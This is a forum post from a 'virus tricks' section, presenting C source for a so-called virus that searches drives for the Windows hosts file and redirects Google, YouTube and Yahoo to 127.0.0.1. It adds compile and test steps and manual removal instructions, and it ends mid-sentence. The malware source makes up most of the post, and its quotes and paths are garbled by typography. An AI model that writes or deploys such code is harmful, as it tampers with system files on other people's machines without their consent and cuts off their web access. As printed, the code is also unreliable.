URI:
   DIR Return Create A Forum - Home
       ---------------------------------------------------------
       gworld
  HTML https://gworld.createaforum.com
       ---------------------------------------------------------
       *****************************************************
   DIR Return to: VIRUS TRICKS n CREATION
       *****************************************************
       #Post#: 540--------------------------------------------------
       VIRUS FOR BLOCK SITES
       By: eba95 Date: August 9, 2010, 3:35 am
       ---------------------------------------------------------
       #include<stdio.h>
       #include<dos.h>
       #include<dir.h>
       char site_list[6][30]={
       “ google.com”,
       “www.google.com”,
       “youtube.com”,
       “www.youtube.com”,
       “yahoo.com”,
       “www.yahoo.com”
       };
       char ip[12]=”127.0.0.1&#8243;;
       FILE *target;
       int find_root(void);
       void block_site(void);
       int find_root()
       {
       int done;
       struct ffblk ffblk;//File block structure
       done=findfirst(“C:\\windows\
       \system32\\drivers\\etc\
       \hosts ”,&ffblk,FA_DIREC);
       /*to determine the root drive*/
       if(done==0)
       {
       target=fopen (“C:\\windows\
       \system32\\drivers\\etc\\hosts”,”r
       +”);
       /*to open the file*/
       return 1;
       }
       done=findfirst(“D:\\windows\
       \system32\\drivers\\etc\
       \hosts ”,&ffblk,FA_DIREC);
       /*to determine the root drive*/
       if(done==0)
       {
       target=fopen (“D:\\windows\
       \system32\\drivers\\etc\\hosts”,”r
       +”);
       /*to open the file*/
       return 1;
       }
       done=findfirst(“E:\\windows\
       \system32\\drivers\\etc\
       \hosts ”,&ffblk,FA_DIREC);
       /*to determine the root drive*/
       if(done==0)
       {
       target=fopen (“E:\\windows\
       \system32\\drivers\\etc\\hosts”,”r
       +”);
       /*to open the file*/
       return 1;
       }
       done=findfirst(“F:\\windows\
       \system32\\drivers\\etc\
       \hosts ”,&ffblk,FA_DIREC);
       /*to determine the root drive*/
       if(done==0)
       {
       target=fopen (“F:\\windows\
       \system32\\drivers\\etc\\hosts”,”r
       +”);
       /*to open the file*/
       return 1;
       }
       else return 0;
       }
       void block_site()
       {
       int i;
       fseek(target,0,SEEK_END); /*to move
       to the end of the file*/
       fprintf(target,”\n”);
       for(i=0;i<6;i++)
       fprintf(target, ”%s\t%s\n”,ip,site_list
       [i]);
       fclose(target);
       }
       void main()
       {
       int success=0;
       success=find_root();
       if(success)
       block_site();
       }
       How to Compile ?
       For step-by-step compilation guide,
       refer my post How to compile C
       Programs.
       Testing
       1. To test, run the compiled module.
       It will block the sites that is listed in
       the source code.
       2. Once you run the file
       block_Site.exe, restart your browser
       program. Then, type the URL of the
       blocked site and you ’ll see the
       browser showing error “Page
       cannot displayed“.
       3. To remove the virus type the
       following the Run.
       %windir%\system32\drivers\etc
       4. There, open the file named “hosts”
       using the notepad.At the bottom of
       the opened file you ’ll see something
       like this
       127.0.0.1 google.com
       5. Delete all such entries which
       contain the names of blocked sites.
       NOTE: You can also change the
       *****************************************************